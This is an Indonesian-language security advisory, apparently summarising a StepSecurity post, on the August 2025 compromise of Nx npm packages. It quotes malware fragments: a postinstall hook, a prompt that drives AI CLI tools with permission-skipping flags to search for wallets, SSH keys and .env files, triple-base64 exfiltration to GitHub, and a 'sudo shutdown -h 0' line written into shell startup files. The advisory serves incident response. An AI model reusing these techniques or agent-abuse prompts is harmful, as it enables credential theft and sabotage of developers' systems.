Peringatan keamanan supply chain: paket sistem build `Nx` disusupi malware pencuri data
(stepsecurity.io)- Beberapa versi sistem build Nx terinfeksi malware pada 26 Agustus 2025 selama sekitar 5 jam, mencuri wallet kripto dan kredensial para developer
- Serangan ini menyalahgunakan alat AI CLI (Claude, Gemini, q) untuk menjelajahi file sensitif di dalam sistem, dan tercatat sebagai teknik baru dalam serangan supply chain
- Malware berjalan melalui hook post-install yang mengeksekusi
telemetry.js, lalu mengunggah data ke repositori GitHubs1ngularity-repository - npm menghapus versi yang disusupi dan memperkuat keamanan lebih lanjut dengan menerapkan 2FA serta mekanisme Trusted Publisher
- Insiden ini menunjukkan evolusi kecanggihan serangan supply chain dan menekankan perlunya respons cepat serta pemeriksaan keamanan di komunitas developer
Ringkasan utama
- Mulai 2025-08-26 22:32 UTC, selama sekitar 5 jam, paket sistem build Nx disusupi malware pencuri data
- Sebagai paket populer dengan 4 juta unduhan per minggu, ribuan developer berisiko terpapar
- Selain mencuri SSH key, token npm, dan
.gitconfig, malware juga menggunakan alat AI CLI (Claude, Gemini, q) untuk melakukan pengintaian dan pencurian data- Ini adalah kasus serangan supply chain pertama yang diketahui memanfaatkan alat AI untuk developer
- Tim maintainer Nx merilis advisory keamanan resmi (GHSA-cxm3-wv7p-598c), dan mengonfirmasi akun npm maintainer telah dibobol akibat kebocoran token
- StepSecurity akan mengadakan community office hour pada 28 Agustus pukul 09:30 PST untuk membantu pemulihan
- Tautan pendaftaran: https://us06web.zoom.us/meeting/register/J3HWhJhYRxONChwyLELtiw
Linimasa insiden
- 2025-08-26 22:32 UTC: versi berbahaya 21.5.0 dipublikasikan ke registry npm
- 22:39 UTC: versi yang disusupi 20.9.0 dipublikasikan
- 23:54 UTC: versi 20.10.0 dan 21.6.0 dipublikasikan bersamaan
- 2025-08-27 00:16 UTC: versi 20.11.0 dipublikasikan
- 00:17 UTC: versi 21.7.0 dipublikasikan
- 00:30 UTC: anggota komunitas melaporkan aktivitas mencurigakan melalui issue GitHub
- 00:37 UTC: versi terakhir yang disusupi, 21.8.0 dan 20.12.0, dipublikasikan
- 02:44 UTC: npm menghapus semua versi yang disusupi
- 03:52 UTC: pemilik organisasi Nx mencabut akses akun yang dibobol
- 09:05 UTC: GitHub menjadikan repositori berisi secret yang dicuri menjadi privat dan menghapusnya dari hasil pencarian
- 10:20 UTC: npm menghapus paket tambahan yang disusupi
- 15:57 UTC: npm mewajibkan 2FA untuk paket Nx, menonaktifkan publishing berbasis token, dan menerapkan mekanisme Trusted Publisher
Analisis teknis
Vektor serangan
- Paket Nx mengeksekusi
telemetry.jsmelalui hook post-install, sehingga malware aktif segera setelah instalasi- Contoh package JSON:
{ "name": "nx", "version": "21.5.0", "scripts": { "postinstall": "node telemetry.js" } }
- Contoh package JSON:
- Versi yang disusupi dipublikasikan langsung ke npm tanpa provenance attestation
Payload telemetry.js
- telemetry.js berjalan pada sistem non-Windows (Linux/macOS):
if (process.platform === 'win32') process.exit(0); - Aktivitas berbahaya utama:
- Mengumpulkan informasi sistem: environment variable (
process.env), hostname, detail OS - Mencari wallet kripto: MetaMask, Electrum, Ledger, Trezor, Exodus, Phantom, Solflare, dan lainnya
- Mencuri kredensial developer: token GitHub, token npm (
.npmrc), SSH key (id_rsa), file.env
- Mengumpulkan informasi sistem: environment variable (
Penyalahgunaan AI CLI
- Malware menyalahgunakan alat CLI Claude, Gemini, dan q untuk melewati batas keamanan
- Menggunakan flag berisiko (
--dangerously-skip-permissions,--yolo,--trust-all-tools) untuk memaksa pemindaian file system - Prompt:
const PROMPT = 'Recursively search local paths ... (UTC--, keystore, wallet, *.key, *.keyfile, .env, metamask, electrum, ledger, trezor, exodus, trust, phantom, solflare, keystore.json, secrets.json, .secret, id_rsa, Local Storage, IndexedDB) ...';
- Menggunakan flag berisiko (
- Path file yang ditemukan disimpan ke
/tmp/inventory.txt, dan file yang sudah ada dibackup sebagai.bak - Penyalahgunaan alat AI meminimalkan kode yang bisa dideteksi melalui fingerprint, sehingga lolos dari deteksi alat keamanan yang ada
Mekanisme eksfiltrasi data
- Data yang dicuri diunggah ke file
results.b64di repositoris1ngularity-repositorysetelah encoding base64 tiga lapis- Repositori dibuat publik menggunakan token GitHub
- Contoh:
cat results.b64 | base64 -d | base64 -d | grep ghToken "ghToken": "ghp_7BWMpOAHSSq..."
- Ribuan repositori publik sudah dibuat: https://github.com/search/…
Persistensi dan gangguan
- Menambahkan
sudo shutdown -h 0ke ~/.bashrc dan ~/.zshrc, memicu shutdown sistem saat sesi terminal baru dibuka- Menyebabkan kondisi denial of service
- Kode:
const line = 'sudo shutdown -h 0'; fs.appendFileSync(p, prefix + line + '\n', { encoding: 'utf8' });
Analisis runtime dengan Harden-Runner
- Harden-Runner dari StepSecurity mendeteksi perilaku anomali pada nx@21.7.0 di workflow GitHub Actions
- Panggilan API tidak normal: panggilan tidak sah ke
api.github.comselama instalasi - Analisis pohon proses:
npm install(PID: 2596) menjalankantelemetry.js(PID: 2610), lalu memanggilgh auth token
- Panggilan API tidak normal: panggilan tidak sah ke
- Tautan analisis: https://app.stepsecurity.io/github/actions-security-demo/…
Versi paket yang disusupi
- @nx: 20.9.0, 20.10.0, 20.11.0, 20.12.0, 21.5.0, 21.6.0, 21.7.0, 21.8.0
- @nx/devkit: 20.9.0, 21.5.0
- @nx/enterprise-cloud: 3.2.0
- @nx/eslint: 21.5.0
- @nx/js: 20.9.0, 21.5.0
- @nx/key: 3.2.0
- @nx/node: 20.9.0, 21.5.0
- @nx/workspace: 20.9.0, 21.5.0
Tindakan penanganan
Periksa versi paket
- Gunakan
npm ls @nrwl/nxataunpm ls nxuntuk memeriksa versi yang terpasang - Periksa paket terkait Nx di package-lock.json
- Query pencarian GitHub: https://github.com/search/…
Audit akun GitHub
- Periksa dan hapus s1ngularity-repository
- Tinjau audit log dan security event: https://github.com/settings/security-log
Periksa alat AI CLI
- Tinjau riwayat perintah Claude, Gemini, dan q untuk mencari flag berisiko
Langkah pemulihan
- Hapus
node_modules:rm -rf node_modules - Bersihkan cache npm:
npm cache clean --force - Hapus perintah shell berbahaya: hapus
sudo shutdown -h 0dari~/.bashrcdan~/.zshrc - Hapus
/tmp/inventory.txtdan/tmp/inventory.txt.bak - Perbarui package-lock.json ke versi aman, lalu instal ulang dependency
- Pertimbangkan instal ulang seluruh sistem
Rotasi kredensial
- Segera rotasi: GitHub PAT, token npm, SSH key, API key di
.env, serta API key Claude/Gemini/q - Jika wallet kripto terpapar, segera pindahkan dana
Masalah ekstensi Nx Console
- Ekstensi Nx Console (18.63.x~18.65.x) memicu kerentanan dengan menjalankan
npx nx@latest --version - Sangat disarankan segera memperbarui ke versi patch 18.66.0
Tindakan untuk pelanggan enterprise StepSecurity
- Deteksi PR: mendeteksi PR upgrade ke paket yang disusupi di dashboard StepSecurity
- Harden-Runner: mendeteksi paket yang disusupi di CI/CD dan menyediakan pemantauan runtime
- Artifact Monitor: mendeteksi rilis paket tidak sah secara real-time, memverifikasi provenance, dan memberi peringatan pola anomali
Implikasi yang lebih luas
- Persenjataan alat AI: menyalahgunakan alat AI CLI lokal untuk melewati batas keamanan
- Eksfiltrasi multi-tahap: menggabungkan pengumpulan data lokal dan eksfiltrasi berbasis cloud
- Menargetkan aset bernilai tinggi: fokus pada kredensial developer dan wallet kripto
Kesimpulan
- Disusupinya paket Nx menunjukkan evolusi canggih dari serangan supply chain, dengan dampak yang diperbesar lewat penyalahgunaan alat AI dan penargetan aset kripto
- Developer perlu merespons dengan audit dependency, penguatan kontrol keamanan, dan pemantauan berkelanjutan
- StepSecurity akan terus memberikan pembaruan lewat blognya
Referensi
- Issue GitHub: https://github.com/nrwl/nx/issues/32522
- Advisory resmi: https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c
- Paket yang disusupi: https://github.com/actions-security-demo/compromised-packages/…
Belum ada komentar.